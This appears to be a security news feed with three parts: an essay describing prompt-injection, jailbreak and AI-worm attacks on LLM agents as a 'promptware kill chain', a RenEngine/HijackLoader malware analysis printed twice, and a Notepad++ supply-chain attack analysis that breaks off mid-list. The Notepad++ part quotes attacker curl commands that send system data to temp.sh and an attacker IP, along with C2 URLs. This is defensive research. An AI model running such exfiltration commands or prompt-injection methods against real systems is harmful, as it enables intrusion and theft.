gsonx[.]com
gmsstatic[.]com
ytimg2[.]com
glogstatic[.]com
gstatic2[.]com
uscelluliar[.]com
playstations[.]click

  •  

The Promptware Kill Chain

The promptware kill chain: initial access, privilege escalation, reconnaissance, persistence, command & control, lateral movement, action on objective

Attacks against modern generative artificial intelligence (AI) large language models (LLMs) pose a real threat. Yet discussions around these attacks and their potential defenses are dangerously myopic. The dominant narrative focuses on β€œprompt injection,” a set of techniques to embed instructions into inputs to LLM intended to perform malicious activity. This term suggests a simple, singular vulnerability. This framing obscures a more complex and dangerous reality. Attacks on LLM-based systems have evolved into a distinct class of malware execution mechanisms, which we term β€œpromptware.” In a new paper, we, the authors, propose a structured seven-step β€œpromptware kill chain” to provide policymakers and security practitioners with the necessary vocabulary and framework to address the escalating AI threat landscape.

In our model, the promptware kill chain begins with Initial Access. This is where the malicious payload enters the AI system. This can happen directly, where an attacker types a malicious prompt into the LLM application, or, far more insidiously, through β€œindirect prompt injection.” In the indirect attack, the adversary embeds malicious instructions in content that the LLM retrieves (obtains in inference time), such as a web page, an email, or a shared document. As LLMs become multimodal (capable of processing various input types beyond text), this vector expands even further; malicious instructions can now be hidden inside an image or audio file, waiting to be processed by a vision-language model.

The fundamental issue lies in the architecture of LLMs themselves. Unlike traditional computing systems that strictly separate executable code from user data, LLMs process all inputβ€”whether it is a system command, a user’s email, or a retrieved documentβ€”as a single, undifferentiated sequence of tokens. There is no architectural boundary to enforce a distinction between trusted instructions and untrusted data. Consequently, a malicious instruction embedded in a seemingly harmless document is processed with the same authority as a system command.

But prompt injection is only the Initial Access step in a sophisticated, multistage operation that mirrors traditional malware campaigns such as Stuxnet or NotPetya.

Once the malicious instructions are inside material incorporated into the AI’s learning, the attack transitions to Privilege Escalation, often referred to as β€œjailbreaking.” In this phase, the attacker circumvents the safety training and policy guardrails that vendors such as OpenAI or Google have built into their models. Through techniques analogous to social engineeringβ€”convincing the model to adopt a persona that ignores rulesβ€”to sophisticated adversarial suffixes in the prompt or data, the promptware tricks the model into performing actions it would normally refuse. This is akin to an attacker escalating from a standard user account to administrator privileges in a traditional cyberattack; it unlocks the full capability of the underlying model for malicious use.

Following privilege escalation comes Reconnaissance. Here, the attack manipulates the LLM to reveal information about its assets, connected services, and capabilities. This allows the attack to advance autonomously down the kill chain without alerting the victim. Unlike reconnaissance in classical malware, which is performed typically before the initial access, promptware reconnaissance occurs after the initial access and jailbreaking components have already succeeded. Its effectiveness relies entirely on the victim model’s ability to reason over its context, and inadvertently turns that reasoning to the attacker’s advantage.

Fourth: the Persistence phase. A transient attack that disappears after one interaction with the LLM application is a nuisance; a persistent one compromises the LLM application for good. Through a variety of mechanisms, promptware embeds itself into the long-term memory of an AI agent or poisons the databases the agent relies on. For instance, a worm could infect a user’s email archive so that every time the AI summarizes past emails, the malicious code is re-executed.

The Command-and-Control (C2) stage relies on the established persistence and dynamic fetching of commands by the LLM application in inference time from the internet. While not strictly required to advance the kill chain, this stage enables the promptware to evolve from a static threat with fixed goals and scheme determined at injection time into a controllable trojan whose behavior can be modified by an attacker.

The sixth stage, Lateral Movement, is where the attack spreads from the initial victim to other users, devices, or systems. In the rush to give AI agents access to our emails, calendars, and enterprise platforms, we create highways for malware propagation. In a β€œself-replicating” attack, an infected email assistant is tricked into forwarding the malicious payload to all contacts, spreading the infection like a computer virus. In other cases, an attack might pivot from a calendar invite to controlling smart home devices or exfiltrating data from a connected web browser. The interconnectedness that makes these agents useful is precisely what makes them vulnerable to a cascading failure.

Finally, the kill chain concludes with Actions on Objective. The goal of promptware is not just to make a chatbot say something offensive; it is often to achieve tangible malicious outcomes through data exfiltration, financial fraud, or even physical world impact. There are examples of AI agents being manipulated into selling cars for a single dollar or transferring cryptocurrency to an attacker’s wallet. Most alarmingly, agents with coding capabilities can be tricked into executing arbitrary code, granting the attacker total control over the AI’s underlying system. The outcome of this stage determines the type of malware executed by promptware, including infostealer, spyware, and cryptostealer, among others.

The kill chain was already demonstrated. For example, in the research β€œInvitation Is All You Need,” attackers achieved initial access by embedding a malicious prompt in the title of a Google Calendar invitation. The prompt then leveraged an advanced technique known as delayed tool invocation to coerce the LLM into executing the injected instructions. Because the prompt was embedded in a Google Calendar artifact, it persisted in the long-term memory of the user’s workspace. Lateral movement occurred when the prompt instructed the Google Assistant to launch the Zoom application, and the final objective involved covertly livestreaming video of the unsuspecting user who had merely asked about their upcoming meetings. C2 and reconnaissance weren’t demonstrated in this attack.

Similarly, the β€œHere Comes the AI Worm” research demonstrated another end-to-end realization of the kill chain. In this case, initial access was achieved via a prompt injected into an email sent to the victim. The prompt employed a role-playing technique to compel the LLM to follow the attacker’s instructions. Since the prompt was embedded in an email, it likewise persisted in the long-term memory of the user’s workspace. The injected prompt instructed the LLM to replicate itself and exfiltrate sensitive user data, leading to off-device lateral movement when the email assistant was later asked to draft new emails. These emails, containing sensitive information, were subsequently sent by the user to additional recipients, resulting in the infection of new clients and a sublinear propagation of the attack. C2 and reconnaissance weren’t demonstrated in this attack.

The promptware kill chain gives us a framework for understanding these and similar attacks; the paper characterizes dozens of them. Prompt injection isn’t something we can fix in current LLM technology. Instead, we need an in-depth defensive strategy that assumes initial access will occur and focuses on breaking the chain at subsequent steps, including by limiting privilege escalation, constraining reconnaissance, preventing persistence, disrupting C2, and restricting the actions an agent is permitted to take. By understanding promptware as a complex, multistage malware campaign, we can shift from reactive patching to systematic risk management, securing the critical systems we are so eager to build.

This essay was written with Oleg Brodt, Elad Feldman and Ben Nassi, and originally appeared in Lawfare.

  •  

The game is over: when β€œfree” comes at too high a price. What we know about RenEngine

We often describe cases of malware distribution under the guise of game cheats and pirated software. Sometimes such methods are used to spread complex malware that employs advanced techniques and sophisticated infection chains.

In February 2026, researchers from Howler Cell announced the discovery of a mass campaign distributing pirated games infected with a previously unknown family of malware. It turned out to be a loader called RenEngine, which was delivered to the device using a modified version of the Ren’Py engine-based game launcher. Kaspersky solutions detect the RenEngine loader as Trojan.Python.Agent.nb and HEUR:Trojan.Python.Agent.gen.

However, this threat is not new. Our solutions began detecting the first samples of the RenEngine loader in March 2025, when it was used to distribute the Lumma stealer (Trojan-PSW.Win32.Lumma.gen).

In the ongoing incidents, ACR Stealer (Trojan-PSW.Win32.ACRstealer.gen) is being distributed as the final payload. We have been monitoring this campaign for a long time and will share some details in this article.

Incident analysis

Disguise as a visual novel

Let’s look at the first incident, which we detected in March 2025. At that time, the attackers distributed the malware under the guise of a hacked game on a popular gaming web resource.

The website featured a game download page with two buttons: Free Download Now and Direct Download. Both buttons had the same functionality: they redirected users to the MEGA file-sharing service, where they were offered to download an archive with the β€œgame.”

Game download page

Game download page


When the β€œgame” was launched, the download process would stop at 100%. One might think that the game froze, but that was not the case β€” the β€œreal” malicious code just started working.
Placeholder with the download screen

Placeholder with the download screen

β€œGame” source files analysis

The full infection chain

The full infection chain


After analyzing the source files, we found Python scripts that initiated the initial device infection. These scripts imitated the endless loading of the game. In addition, they contained the is_sandboxed function for bypassing the sandbox and xor_decrypt_file for decrypting the malicious payload. Using the latter, the script decrypts the ZIP archive, unpacks its contents into the .temp directory, and launches the unpacked files.
Contents of the .temp directory

Contents of the .temp directory


There are five files in the .temp directory. The DKsyVGUJ.exe executable is not malicious. Its original name is Ahnenblatt4.exe, and it is a well-known legitimate application for organizing genealogical data. The borlndmm.dll library also does not contain malicious code; it implements the memory manager required to run the executable. Another library, cc32290mt.dll, contains a code snippet patched by attackers that intercepts control when the application is launched and deploys the first stage of the payload in the process memory.

HijackLoader

The dbghelp.dll system library is used as a β€œcontainer” to launch the first stage of the payload. It is overwritten in memory with decrypted shellcode obtained from the gayal.asp file using the cc32290mt.dll library. The resulting payload is HijackLoader. This is a relatively new means of delivering and deploying malicious implants. A distinctive feature of this malware family is its modularity and configuration flexibility. HijackLoader was first detected and described in the summer of 2023. More detailed information about this loader is available to customers of the Kaspersky Intelligence Reporting Service.

The final payload can be delivered in two ways, depending on the configuration parameters of the malicious sample. The main HijackLoader ti module is used to launch and prepare the process for the final payload injection. In some cases, an additional module is also used, which is injected into an intermediate process launched by the main one. The code that performs the injection is the same in both cases.

Before creating a child process, the configuration parameters are encrypted using XOR and saved to the %TEMP% directory with a random name. The file name is written to the system environment variables.

Loading configuration parameters saved by the main module

Loading configuration parameters saved by the main module


In the analyzed sample, the execution follows a longer path with an intermediate child process, cmd.exe. It is created in suspended mode by calling the auxiliary module modCreateProcess. Then, using the ZwCreateSection and ZwMapViewOfSection system API calls, the code of the same dbghelp.dll library is loaded into the address space of the process, after which it intercepts control.

Next, the ti module, launched inside the child process, reads the hap.eml file, from which it decrypts the second stage of HijackLoader. The module then loads the pla.dll system library and overwrites the beginning of its code section with the received payload, after which it transfers control to this library.

Payload decryption

Payload decryption


The decrypted payload is an EXE file, and the configuration parameters are set to inject it into the explorer.exe child process. The payload is written to the memory of the child process in several stages:
  1. First, the malicious payload is written to a temporary file on disk using the transaction mechanism provided by the Windows API. The payload is written in several stages and not in the order in which the data is stored in the file. The MZ signature, with which any PE file begins, is written last with a delay.
    Writing the payload to a temporary file

    Writing the payload to a temporary file

  2. After that, the payload is loaded from the temporary file into the address space of the current process using the ZwCreateSection call. The transaction that wrote to the file is rolled back, thus deleting the temporary file with the payload.
  3. Next, the sample uses the modCreateProcess module to launch the child process explorer.exe and injects the payload into it by creating a shared memory region with the ZwMapViewOfSection call.
    Payload injection into the child process

    Payload injection into the child process


    Another HijackLoader module, rshell, is used to launch the shellcode. Its contents are also injected into the child process, replacing the code located at its entry point.
    The rshell module injection

    The rshell module injection

  4. The last step performed by the parent process is starting a thread in the child process by calling ZwResumeThread. After that, the thread starts executing the rshell module code placed at the child process entry point, and the parent process terminates.

    The rshell module prepares the final malicious payload. Once it has finished, it transfers control to another HijackLoader module called ESAL. It replaces the contents of rshell with zeros using the memset function and launches the final payload, which is a stealer from the Lumma family (Trojan-PSW.Win32.Lumma).

In addition to the modules described above, this HijackLoader sample contains the following modules, which were used at intermediate stages: COPYLIST, modTask, modUAC, and modWriteFile.
Kaspersky solutions detect HijackLoader with the verdicts Trojan.Win32.Penguish and Trojan.Win32.DllHijacker.

Not only games

In addition to gaming sites, we found that attackers created dozens of different web resources to distribute RenEngine under the guise of pirated software. On one such site, for example, users can supposedly download an activated version of the CorelDRAW graphics editor.

Distribution of RenEngine under the guise of the CorelDRAW pirated version

Distribution of RenEngine under the guise of the CorelDRAW pirated version


When the user clicks the Descargar Ahora (β€œDownload Now”) button, they are redirected several times to other malicious websites, after which an infected archive is downloaded to their device.
File storage imitations

File storage imitations

Distribution

According to our data, since March 2025, RenEngine has affected users in the following countries:

Distribution of incidents involving the RenEngine loader by country (TOP 20), February 2026 (download)

The distribution pattern of this loader suggests that the attacks are not targeted. At the time of publication, we have recorded the highest number of incidents in Russia, Brazil, TΓΌrkiye, Spain, and Germany.

Recommendations for protection

The format of game archives is generally not standardized and is unique for each game. This means that there is no universal algorithm for unpacking and checking the contents of game archives. If the game engine does not check the integrity and authenticity of executable resources and scripts, such an archive can become a repository for malware if modified by attackers. Despite this, Kaspersky Premium protects against such threats with its Behavior Detection component.

The distribution of malware under the guise of pirated software and hacked games is not a new tactic. It is relatively easy to avoid infection by the malware described in this article: simply install games and programs from trusted sites. In addition, it is important for gamers to remember the need to install specialized security solutions. This ongoing campaign employs the Lumma and ACR stylers, and Vidar was also found β€” none of these are new threats, but rather long-known malware. This means that modern antivirus technologies can detect even modified versions of the above-mentioned stealers and their alternatives, preventing further infection.

Indicators of compromise

12EC3516889887E7BCF75D7345E3207A – setup_game_8246.zip
D3CF36C37402D05F1B7AA2C444DC211A – __init.py__
1E0BF40895673FCD96A8EA3DDFAB0AE2 – cc32290mt.dll
2E70ECA2191C79AD15DA2D4C25EB66B9 – Lumma Stealer

hxxps://hentakugames[.]com/country-bumpkin/
hxxps://dodi-repacks[.]site
hxxps://artistapirata[.]fit
hxxps://artistapirata[.]vip
hxxps://awdescargas[.]pro
hxxps://fullprogramlarindir[.]me
hxxps://gamesleech[.]com
hxxps://parapcc[.]com
hxxps://saglamindir[.]vip
hxxps://zdescargas[.]pro
hxxps://filedownloads[.]store
hxxps://go[.]zovo[.]ink

Lumma C2
hxxps://steamcommunity[.]com/profiles/76561199822375128
hxxps://localfxement[.]live
hxxps://explorebieology[.]run
hxxps://agroecologyguide[.]digital
hxxps://moderzysics[.]top
hxxps://seedsxouts[.]shop
hxxps://codxefusion[.]top
hxxps://farfinable[.]top
hxxps://techspherxe[.]top
hxxps://cropcircleforum[.]today

  •  

The game is over: when β€œfree” comes at too high a price. What we know about RenEngine

We often describe cases of malware distribution under the guise of game cheats and pirated software. Sometimes such methods are used to spread complex malware that employs advanced techniques and sophisticated infection chains.

In February 2026, researchers from Howler Cell announced the discovery of a mass campaign distributing pirated games infected with a previously unknown family of malware. It turned out to be a loader called RenEngine, which was delivered to the device using a modified version of the Ren’Py engine-based game launcher. Kaspersky solutions detect the RenEngine loader as Trojan.Python.Agent.nb and HEUR:Trojan.Python.Agent.gen.

However, this threat is not new. Our solutions began detecting the first samples of the RenEngine loader in March 2025, when it was used to distribute the Lumma stealer (Trojan-PSW.Win32.Lumma.gen).

In the ongoing incidents, ACR Stealer (Trojan-PSW.Win32.ACRstealer.gen) is being distributed as the final payload. We have been monitoring this campaign for a long time and will share some details in this article.

Incident analysis

Disguise as a visual novel

Let’s look at the first incident, which we detected in March 2025. At that time, the attackers distributed the malware under the guise of a hacked game on a popular gaming web resource.

The website featured a game download page with two buttons: Free Download Now and Direct Download. Both buttons had the same functionality: they redirected users to the MEGA file-sharing service, where they were offered to download an archive with the β€œgame.”

Game download page

Game download page


When the β€œgame” was launched, the download process would stop at 100%. One might think that the game froze, but that was not the case β€” the β€œreal” malicious code just started working.
Placeholder with the download screen

Placeholder with the download screen

β€œGame” source files analysis

The full infection chain

The full infection chain


After analyzing the source files, we found Python scripts that initiated the initial device infection. These scripts imitated the endless loading of the game. In addition, they contained the is_sandboxed function for bypassing the sandbox and xor_decrypt_file for decrypting the malicious payload. Using the latter, the script decrypts the ZIP archive, unpacks its contents into the .temp directory, and launches the unpacked files.
Contents of the .temp directory

Contents of the .temp directory


There are five files in the .temp directory. The DKsyVGUJ.exe executable is not malicious. Its original name is Ahnenblatt4.exe, and it is a well-known legitimate application for organizing genealogical data. The borlndmm.dll library also does not contain malicious code; it implements the memory manager required to run the executable. Another library, cc32290mt.dll, contains a code snippet patched by attackers that intercepts control when the application is launched and deploys the first stage of the payload in the process memory.

HijackLoader

The dbghelp.dll system library is used as a β€œcontainer” to launch the first stage of the payload. It is overwritten in memory with decrypted shellcode obtained from the gayal.asp file using the cc32290mt.dll library. The resulting payload is HijackLoader. This is a relatively new means of delivering and deploying malicious implants. A distinctive feature of this malware family is its modularity and configuration flexibility. HijackLoader was first detected and described in the summer of 2023. More detailed information about this loader is available to customers of the Kaspersky Intelligence Reporting Service.

The final payload can be delivered in two ways, depending on the configuration parameters of the malicious sample. The main HijackLoader ti module is used to launch and prepare the process for the final payload injection. In some cases, an additional module is also used, which is injected into an intermediate process launched by the main one. The code that performs the injection is the same in both cases.

Before creating a child process, the configuration parameters are encrypted using XOR and saved to the %TEMP% directory with a random name. The file name is written to the system environment variables.

Loading configuration parameters saved by the main module

Loading configuration parameters saved by the main module


In the analyzed sample, the execution follows a longer path with an intermediate child process, cmd.exe. It is created in suspended mode by calling the auxiliary module modCreateProcess. Then, using the ZwCreateSection and ZwMapViewOfSection system API calls, the code of the same dbghelp.dll library is loaded into the address space of the process, after which it intercepts control.

Next, the ti module, launched inside the child process, reads the hap.eml file, from which it decrypts the second stage of HijackLoader. The module then loads the pla.dll system library and overwrites the beginning of its code section with the received payload, after which it transfers control to this library.

Payload decryption

Payload decryption


The decrypted payload is an EXE file, and the configuration parameters are set to inject it into the explorer.exe child process. The payload is written to the memory of the child process in several stages:
  1. First, the malicious payload is written to a temporary file on disk using the transaction mechanism provided by the Windows API. The payload is written in several stages and not in the order in which the data is stored in the file. The MZ signature, with which any PE file begins, is written last with a delay.
    Writing the payload to a temporary file

    Writing the payload to a temporary file

  2. After that, the payload is loaded from the temporary file into the address space of the current process using the ZwCreateSection call. The transaction that wrote to the file is rolled back, thus deleting the temporary file with the payload.
  3. Next, the sample uses the modCreateProcess module to launch the child process explorer.exe and injects the payload into it by creating a shared memory region with the ZwMapViewOfSection call.
    Payload injection into the child process

    Payload injection into the child process


    Another HijackLoader module, rshell, is used to launch the shellcode. Its contents are also injected into the child process, replacing the code located at its entry point.
    The rshell module injection

    The rshell module injection

  4. The last step performed by the parent process is starting a thread in the child process by calling ZwResumeThread. After that, the thread starts executing the rshell module code placed at the child process entry point, and the parent process terminates.

    The rshell module prepares the final malicious payload. Once it has finished, it transfers control to another HijackLoader module called ESAL. It replaces the contents of rshell with zeros using the memset function and launches the final payload, which is a stealer from the Lumma family (Trojan-PSW.Win32.Lumma).

In addition to the modules described above, this HijackLoader sample contains the following modules, which were used at intermediate stages: COPYLIST, modTask, modUAC, and modWriteFile.
Kaspersky solutions detect HijackLoader with the verdicts Trojan.Win32.Penguish and Trojan.Win32.DllHijacker.

Not only games

In addition to gaming sites, we found that attackers created dozens of different web resources to distribute RenEngine under the guise of pirated software. On one such site, for example, users can supposedly download an activated version of the CorelDRAW graphics editor.

Distribution of RenEngine under the guise of the CorelDRAW pirated version

Distribution of RenEngine under the guise of the CorelDRAW pirated version


When the user clicks the Descargar Ahora (β€œDownload Now”) button, they are redirected several times to other malicious websites, after which an infected archive is downloaded to their device.
File storage imitations

File storage imitations

Distribution

According to our data, since March 2025, RenEngine has affected users in the following countries:

Distribution of incidents involving the RenEngine loader by country (TOP 20), February 2026 (download)

The distribution pattern of this loader suggests that the attacks are not targeted. At the time of publication, we have recorded the highest number of incidents in Russia, Brazil, TΓΌrkiye, Spain, and Germany.

Recommendations for protection

The format of game archives is generally not standardized and is unique for each game. This means that there is no universal algorithm for unpacking and checking the contents of game archives. If the game engine does not check the integrity and authenticity of executable resources and scripts, such an archive can become a repository for malware if modified by attackers. Despite this, Kaspersky Premium protects against such threats with its Behavior Detection component.

The distribution of malware under the guise of pirated software and hacked games is not a new tactic. It is relatively easy to avoid infection by the malware described in this article: simply install games and programs from trusted sites. In addition, it is important for gamers to remember the need to install specialized security solutions. This ongoing campaign employs the Lumma and ACR stylers, and Vidar was also found β€” none of these are new threats, but rather long-known malware. This means that modern antivirus technologies can detect even modified versions of the above-mentioned stealers and their alternatives, preventing further infection.

Indicators of compromise

12EC3516889887E7BCF75D7345E3207A – setup_game_8246.zip
D3CF36C37402D05F1B7AA2C444DC211A – __init.py__
1E0BF40895673FCD96A8EA3DDFAB0AE2 – cc32290mt.dll
2E70ECA2191C79AD15DA2D4C25EB66B9 – Lumma Stealer

hxxps://hentakugames[.]com/country-bumpkin/
hxxps://dodi-repacks[.]site
hxxps://artistapirata[.]fit
hxxps://artistapirata[.]vip
hxxps://awdescargas[.]pro
hxxps://fullprogramlarindir[.]me
hxxps://gamesleech[.]com
hxxps://parapcc[.]com
hxxps://saglamindir[.]vip
hxxps://zdescargas[.]pro
hxxps://filedownloads[.]store
hxxps://go[.]zovo[.]ink

Lumma C2
hxxps://steamcommunity[.]com/profiles/76561199822375128
hxxps://localfxement[.]live
hxxps://explorebieology[.]run
hxxps://agroecologyguide[.]digital
hxxps://moderzysics[.]top
hxxps://seedsxouts[.]shop
hxxps://codxefusion[.]top
hxxps://farfinable[.]top
hxxps://techspherxe[.]top
hxxps://cropcircleforum[.]today

  •  

The Notepad++ supply chain attack β€” unnoticed execution chains and new IoCs

UPD 11.02.2026: added recommendations on how to use the Notepad++ supply chain attack rules package in our SIEM system.

Introduction

On February 2, 2026, the developers of Notepad++, a text editor popular among developers, published a statement claiming that the update infrastructure of Notepad++ had been compromised. According to the statement, this was due to a hosting provider-level incident, which occurred from June to September 2025. However, attackers had been able to retain access to internal services until December 2025.

Multiple execution chains and payloads

Having checked our telemetry related to this incident, we were amazed to find out how different and unique the execution chains used in this supply chain attack were. We identified that over the course of four months, from July to October 2025, attackers who had compromised Notepad++ had been constantly rotating C2 server addresses used for distributing malicious updates, the downloaders used for implant delivery, as well as the final payloads.

We observed three different infection chains overall, designed to attack about a dozen machines, belonging to:

  • Individuals located in Vietnam, El Salvador, and Australia;
  • A government organization located in the Philippines;
  • A financial organization located in El Salvador;
  • An IT service provider organization located in Vietnam.

Despite the variety of payloads observed, Kaspersky solutions were able to block the identified attacks as they occurred.

In this article, we describe the variety of the infection chains we observed in the Notepad++ supply chain attack, as well as provide numerous previously unpublished IoCs related to it.

Chain #1: late July and early August 2025

We observed attackers to deploy a malicious Notepad++ update for the first time in late July 2025. It was hosted at http://45.76.155[.]202/update/update.exe. Notably, the first scan of this URL on the VirusTotal platform occurred in late September, by a user from Taiwan.

The update.exe file downloaded from this URL (SHA1: 8e6e505438c21f3d281e1cc257abdbf7223b7f5a) was launched by the legitimate Notepad++ updater process, GUP.exe. This file turned out to be a NSIS installer about 1 MB in size. When started, it sends a heartbeat containing system information to the attackers. This is done through the following steps:

  1. The file creates a directory named %appdata%\ProShow and sets it as the current directory;
  2. It executes the shell command cmd /c whoami&&tasklist > 1.txt, thus creating a file with the shell command execution results in the %appdata%\ProShow directory;
  3. Then it uploads the 1.txt file to the temp[.]sh hosting service by executing the curl.exe -F "file=@1.txt" -s https://temp.sh/upload command;
  4. Next, it sends the URL to the uploaded 1.txt file by using the curl.exe --user-agent "https://temp.sh/ZMRKV/1.txt" -s http://45.76.155[.]202 shell command. As can be observed, the uploaded file URL is transferred inside the user agent.

Notably, the same behavior of malicious Notepad++ updates, specifically the launch of shell commands and the use of the temp[.]sh website for file uploading, was described on the Notepad++ community forums by a user named soft-parsley.

After sending system information, the update.exe file executes the second-stage payload. To do that, it performs the following actions:

  • Drops the following files to the %appdata%\ProShow directory:
    • ProShow.exe (SHA1: defb05d5a91e4920c9e22de2d81c5dc9b95a9a7c)
    • defscr (SHA1: 259cd3542dea998c57f67ffdd4543ab836e3d2a3)
    • if.dnt (SHA1: 46654a7ad6bc809b623c51938954de48e27a5618)
    • proshow.crs
    • proshow.phd
    • proshow_e.bmp (SHA1: 9df6ecc47b192260826c247bf8d40384aa6e6fd6)
    • load (SHA1: 06a6a5a39193075734a32e0235bde0e979c27228)
  • Executes the dropped ProShow.exe file.

The ProShow.exe file being launched is legitimate ProShow software, which is abused to launch a malicious payload. Normally, when threat actors aim to execute a malicious payload inside a legitimate process, they resort to the DLL sideloading technique. However, this time attackers decided to avoid using it β€” likely due to how much attention this technique receives nowadays. Instead, they abused an old, known vulnerability in the ProShow software, which dates back to early 2010s. The dropped file named load contains an exploit payload, which is launched when the ProShow.exe file is launched. It is worth noting that, apart from this payload, all files in the %appdata%\ProShow directory are legitimate.

Analysis of the exploit payload revealed that it contained two shellcodes: one at the very start and the other one in the middle of the file. The shellcode located at the start of the file contained a set of meaningless instructions and was not designed to be executed β€” rather, attackers used it as the exploit padding bytes. It is likely that, by using a fake shellcode for padding bytes instead of something else (e.g., a sequence of 0x41 characters or random bytes), attackers aimed to confuse researchers and automated analysis systems.

The second shellcode, which is stored in the middle of the file, is the one that is launched when ProShow.exe is started. It decrypts a Metasploit downloader payload that retrieves a Cobalt Strike Beacon shellcode from the URL https://45.77.31[.]210/users/admin (user agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36) and launches it.

The Cobalt Strike Beacon payload is designed to communicate with the cdncheck.it[.]com C2 server. For instance, it uses the GET request URL https://45.77.31[.]210/api/update/v1 and the POST request URL https://45.77.31[.]210/api/FileUpload/submit.

Later on, in early August 2025, we observed attackers to use the same download URL for the update.exe files (observed SHA1 hash: 90e677d7ff5844407b9c073e3b7e896e078e11cd), as well as the same execution chain for delivery of Cobalt Strike Beacon via malicious Notepad++ updates. However, we noted the following differences:

  • In the Metasploit downloader payload, the URL for downloading Cobalt Strike Beacon was set to https://cdncheck.it[.]com/users/admin;
  • The Cobalt Strike C2 server URLs were set to https://cdncheck.it[.]com/api/update/v1 and https://cdncheck.it[.]com/api/Metadata/submit.

We have not further seen any infections leveraging chain #1 since early August 2025.

Chain #2: mid- and late September 2025

A month and a half after malicious update detections ceased, we observed attackers to resume deploying these updates in the middle of September 2025, using another infection chain. The malicious update was still being distributed from the URL http://45.76.155[.]202/update/update.exe, and the file downloaded from it (SHA1 hash: 573549869e84544e3ef253bdba79851dcde4963a) was an NSIS installer as well. However, its file size was now about 140 KB. Again, this file performed two actions:

  • Obtained system information by executing a shell command and uploading its execution results to temp[.]sh;
  • Dropped a next-stage payload on disk and launched it.

Regarding system information, attackers made the following changes to how it was collected:

  • They changed the working directory to %APPDATA%\Adobe\Scripts;
  • They started collecting more system information details, changing the shell command being executed to cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt.

The created a.txt file was, just as in the case of stage #1, uploaded to the temp[.]sh website through curl, with the obtained temp[.]sh URL being transferred to the same http://45.76.155[.]202/list endpoint, inside the User-Agent header.

As for the next-stage payload, it was changed completely. The NSIS installer was configured to drop the following files into the %APPDATA%\Adobe\Scripts directory:

  • alien.dll (SHA1: 6444dab57d93ce987c22da66b3706d5d7fc226da);
  • lua5.1.dll (SHA1: 2ab0758dda4e71aee6f4c8e4c0265a796518f07d);
  • script.exe (SHA1: bf996a709835c0c16cce1015e6d44fc95e08a38a);
  • alien.ini (SHA1: ca4b6fe0c69472cd3d63b212eb805b7f65710d33).

Next, it executes the following shell command to launch the script.exe file: %APPDATA%\%Adobe\Scripts\script.exe %APPDATA%\Adobe\Scripts\alien.ini.

All of the files in the %APPDATA%\Adobe\Scripts directory, except for alien.ini, are legitimate and related to the Lua interpreter. As such, the previously mentioned command is used by attackers to launch a compiled Lua script, located in the alien.ini file. Below is a screenshot of its decompilation:

As we can see, this small script is used for placing shellcode inside executable memory and then launching it through the EnumWindowStationsW API function.

The launched shellcode is, just in the case of chain #1, a Metasploit downloader, which downloads a Cobalt Strike Beacon payload, again in the form of a shellcode, from the URL https://cdncheck.it[.]com/users/admin.

The Cobalt Strike payload contains the C2 server URLs that slightly differ from the ones seen previously: https://cdncheck.it[.]com/api/getInfo/v1 and https://cdncheck.it[.]com/api/FileUpload/submit.

Attacks involving chain #2 continued until the end of September, when we observed two more malicious update.exe files. One of them had the SHA1 hash 13179c8f19fbf3d8473c49983a199e6cb4f318f0. The Cobalt Strike Beacon payload delivered through it was configured to use the same URLs observed in mid-September, however, attackers changed the way system information was collected. Specifically, attackers split the single shell command they used for this (cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt) into multiple commands:

  • cmd /c whoami >> a.txt
  • cmd /c tasklist >> a.txt
  • cmd /c systeminfo >> a.txt
  • cmd /c netstat -ano >> a.txt

Notably, the same sequence of commands was previously documented by the user soft-parsley on the Notepad++ community forums.

The other update.exe file had the SHA1 hash 4c9aac447bf732acc97992290aa7a187b967ee2c. By using it, attackers performed the following:

  • Changed the system information upload URL to https://self-dns.it[.]com/list;
  • Changed the user agent used in HTTP requests to Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36;
  • Changed the URL used by the Metasploit downloader to https://safe-dns.it[.]com/help/Get-Start;
  • Changed the Cobalt Strike Beacon C2 server URLs to https://safe-dns.it[.]com/resolve and https://safe-dns.it[.]com/dns-query.

Chain #3: October 2025

In early October 2025, the attackers changed the infection chain once again. They also changed the C2 server for distributing malicious updates, with the observed update URL being http://45.32.144[.]255/update/update.exe. The payload downloaded (SHA1: d7ffd7b588880cf61b603346a3557e7cce648c93) was still a NSIS installer, however, unlike in the case of chains 1 and 2, this installer did not include the system information sending functionality. It simply dropped the following files to the %appdata%\Bluetooth\ directory:

  • BluetoothService.exe, a legitimate executable (SHA1: 21a942273c14e4b9d3faa58e4de1fd4d5014a1ed);
  • log.dll, a malicious DLL (SHA1: f7910d943a013eede24ac89d6388c1b98f8b3717);
  • BluetoothService, an encrypted shellcode (SHA1: 7e0790226ea461bcc9ecd4be3c315ace41e1c122).

This execution chain relies on the sideloading of the log.dll file, which is responsible for launching the encrypted BluetoothService shellcode into the BluetoothService.exe process. Notably, such execution chains are commonly used by Chinese-speaking threat actors. This particular execution chain has already been described by Rapid7, and the final payload observed in it is the custom Chrysalis backdoor.

Unlike the previous chains, chain #3 does not load a Cobalt Strike Beacon directly. However, in their article Rapid7 claim that they additionally observed a Cobalt Strike Beacon payload being deployed to the C:\ProgramData\USOShared folder, while conducting incident response on one of the machines infected by the Notepad++ supply chain attack. Whilst Rapid7 does not detail how this file was dropped to the victim machine, we can highlight the following similarities between that Beacon payload and the Beacon payloads observed in chains #1 and #2:

  1. In both cases, Beacons are loaded through a Metasploit downloader shellcode, with similar URLs used (api.wiresguard.com/users/admin for the Rapid7 payload, cdncheck.it.com/users/admin and http://45.77.31[.]210/users/admin for chain #1 and chain #2 payloads);
  2. The Beacon configurations are encrypted with the XOR key CRAZY;
  3. Similar C2 server URLs are used for Cobalt Strike Beacon communications (i.e. api.wiresguard.com/api/FileUpload/submit for the Rapid7 payload and https://45.77.31[.]210/api/FileUpload/submit for the chain #1 payload).

Return of chain #2 and changes in URLs: October 2025

In mid-October 2025, we observed attackers to resume deployments of the chain #2 payload (SHA1 hash: 821c0cafb2aab0f063ef7e313f64313fc81d46cd) using yet another URL: http://95.179.213[.]0/update/update.exe. Still, this payload used the previously mentioned self-dns.it[.]com and safe-dns.it[.]com domain names for system information uploading, Metasploit downloader and Cobalt Strike Beacon communications.

Further in late October 2025, we observed attackers to start changing URLs used for malicious update deliveries. Specifically, attackers started using the following URLs:

